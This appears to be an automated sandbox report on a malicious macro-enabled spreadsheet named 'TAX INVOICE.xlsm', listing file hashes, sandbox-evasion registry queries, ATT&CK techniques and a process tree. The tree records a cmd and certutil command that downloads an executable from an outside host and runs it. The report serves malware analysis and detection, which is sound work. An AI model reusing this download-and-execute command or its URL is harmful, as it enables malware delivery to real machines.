ac2eca59498f5324d3166d7ac8c3d3920fd3f4f7efc6bb4424a90d6fb5463d85

Analysis

max time kernel
146s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20220721-en
resource tags

arch:x64arch:x86image:win10v2004-20220721-enlocale:en-usos:windows10-2004-x64system
submitted
10-08-2022 08:37

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General

Target

TAX INVOICE.xlsm
Size

42KB
MD5

01b773033342534fdb00532c2fccbd96
SHA1

d5842b04ae46d80240557b6238884df5b6243d3c
SHA256

ac2eca59498f5324d3166d7ac8c3d3920fd3f4f7efc6bb4424a90d6fb5463d85
SHA512

be43beeaa045d70aff287ab2ccd386ac2f869990793cdccb67956cbf8730ff6c83299904b0a2839d890e960804d111b1506b0d159c920009641d94661b295126

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2364	3580	cmd.exe	EXCEL.EXE

Downloads MZ/PE file

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3580 EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
3580	EXCEL.EXE
3580	EXCEL.EXE
3580	EXCEL.EXE
3580	EXCEL.EXE
3580	EXCEL.EXE
3580	EXCEL.EXE
3580	EXCEL.EXE
3580	EXCEL.EXE
3580	EXCEL.EXE
3580	EXCEL.EXE
3580	EXCEL.EXE
3580	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 3580 wrote to memory of 2364	3580	EXCEL.EXE	cmd.exe
PID 3580 wrote to memory of 2364	3580	EXCEL.EXE	cmd.exe
PID 2364 wrote to memory of 4684	2364	cmd.exe	certutil.exe
PID 2364 wrote to memory of 4684	2364	cmd.exe	certutil.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\TAX INVOICE.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3580

C:\Windows\SYSTEM32\cmd.exe
cmd /c certutil.exe -urlcache -split -f "http://sayminame.com/new/process.exe" Vzuepamgtcvxotclhzm.exe.exe && Vzuepamgtcvxotclhzm.exe.exe
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2364

C:\Windows\system32\certutil.exe
certutil.exe -urlcache -split -f "http://sayminame.com/new/process.exe" Vzuepamgtcvxotclhzm.exe.exe
3⤵
PID:4684

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2364-137-0x0000000000000000-mapping.dmp

Download
memory/3580-136-0x00007FFC4D850000-0x00007FFC4D860000-memory.dmp

Filesize
64KB

Download
memory/3580-132-0x00007FFC4FD50000-0x00007FFC4FD60000-memory.dmp

Filesize
64KB

Download
memory/3580-133-0x00007FFC4FD50000-0x00007FFC4FD60000-memory.dmp

Filesize
64KB

Download
memory/3580-134-0x00007FFC4FD50000-0x00007FFC4FD60000-memory.dmp

Filesize
64KB

Download
memory/3580-135-0x00007FFC4D850000-0x00007FFC4D860000-memory.dmp

Filesize
64KB

Download
memory/3580-130-0x00007FFC4FD50000-0x00007FFC4FD60000-memory.dmp

Filesize
64KB

Download
memory/3580-131-0x00007FFC4FD50000-0x00007FFC4FD60000-memory.dmp

Filesize
64KB

Download
memory/3580-140-0x00007FFC4FD50000-0x00007FFC4FD60000-memory.dmp

Filesize
64KB

Download
memory/3580-141-0x00007FFC4FD50000-0x00007FFC4FD60000-memory.dmp

Filesize
64KB

Download
memory/3580-142-0x00007FFC4FD50000-0x00007FFC4FD60000-memory.dmp

Filesize
64KB

Download
memory/3580-143-0x00007FFC4FD50000-0x00007FFC4FD60000-memory.dmp

Filesize
64KB

Download
memory/4684-138-0x0000000000000000-mapping.dmp

Download